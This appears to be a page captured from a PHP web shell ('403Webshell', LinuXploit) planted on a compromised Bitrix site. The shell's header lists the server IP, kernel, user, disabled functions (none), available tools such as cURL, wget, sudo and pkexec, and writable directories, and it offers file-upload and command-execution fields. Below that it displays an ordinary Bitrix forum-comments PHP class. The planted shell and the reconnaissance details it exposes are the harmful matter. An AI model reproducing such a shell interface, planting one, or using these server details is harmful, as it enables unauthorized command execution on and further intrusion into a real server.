403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/components/bitrix/forum.comments/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/components/bitrix/forum.comments/base.php
<?php
if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true) die();

class CCommentBase
{
	protected $component = null;
	protected $handlers = [];
	private ?\CUser $user;

	public function __construct(&$component, ?\CUser $user = null)
	{
		$this->component = &$component;
		$this->user = $user;

		$methods = get_class_methods(static::class);
		foreach ($methods as $method)
		{
			if (mb_stripos($method, "On") === 0)
			{
				$this->addHandler($method, function() use ($method) {
					return call_user_func([$this, $method], ...func_get_args());
				});
			}
		}
	}

	protected function addHandler($eventName, $callback, $moduleId = "forum")
	{
		$this->handlers[] = [
			"moduleId" => $moduleId,
			"eventName" => $eventName,
			"id" => AddEventHandler($moduleId, $eventName, $callback)
		];
	}

	protected function removeHandler($eventName, $moduleId = "forum")
	{
		$newHandlers = [];
		foreach ($this->handlers as $handler)
		{
			if ($handler["eventName"] === $eventName && $handler["moduleId"] === $moduleId)
			{
				RemoveEventHandler($handler["moduleId"], $handler["eventName"], $handler["id"]);
			}
			else
			{
				$newHandlers[] = $handler;
			}
		}
		$this->handlers = $newHandlers;
	}

	public function OnCommentsFinished($component)
	{
		if ($component !== $this->component)
		{
			return;
		}
		foreach ($this->handlers as $handler)
		{
			RemoveEventHandler($handler["moduleId"], $handler["eventName"], $handler["id"]);
		}
		$this->handlers = [];
	}

	protected function getUser(): ?\CUser
	{
		return $this->user;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit